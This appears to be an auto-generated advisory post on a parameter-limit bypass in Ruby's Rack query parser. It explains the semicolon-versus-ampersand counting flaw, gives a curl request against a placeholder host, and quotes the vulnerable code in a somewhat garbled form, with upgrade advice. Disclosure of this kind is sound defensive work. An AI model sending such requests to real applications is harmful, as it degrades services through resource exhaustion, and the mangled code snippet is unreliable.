Listen to this Post
The vulnerability exists in the `Rack::QueryParser` component of Rack versions prior to 2.2.18. The core issue is a mismatch between how parameters are counted versus how they are split. The `check_query_string` method enforces the `params_limit` by counting only the number of ampersand (&) characters in the query string to estimate the parameter count. However, the actual parameter parsing uses the default separator regex DEFAULT_SEP = /[&;] /n, which splits the query string on both ampersands (&) and semicolons (;). This inconsistency allows an attacker to bypass the parameter count limit by using semicolons as parameter separators. For example, a query string like `a=1&b=2` counts as two parameters, but `a=1;b=2;c=3…` would be split into many parameters while only counting as one parameter based on the ampersand check. This bypass can lead to increased CPU and memory consumption by forcing the application to parse a larger number of parameters than the limit intended, enabling a limited denial-of-service attack.
Platform: Ruby/Rack
Version: <2.2.18
Vulnerability : Parameter Limit Bypass
Severity: Low
date: 2024-02-09
Prediction: Patch Available
What Undercode Say:
Simulating parameter parsing curl "http://vulnerable-app.com/path?param1=1;param2=2;param3=3" ...param1000=1000
Code snippet showing the vulnerable regex and count method
DEFAULT_SEP = /[&;] /n
def check_query_string(query_string)
Counts only '&'
count = query_string.count('&')
raise ParamsLimitError if count >= @params_limit
end
How Exploit:
Attackers craft HTTP requests with query strings using semicolons to separate parameters, bypassing the `params_limit` and causing excessive resource consumption.
Protection from this CVE
Upgrade to Rack >=2.2.18. Enforce query size limits at web server (Nginx, Apache).
Impact:
Limited denial-of-service via CPU/Memory exhaustion in non-standard Rack usage.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
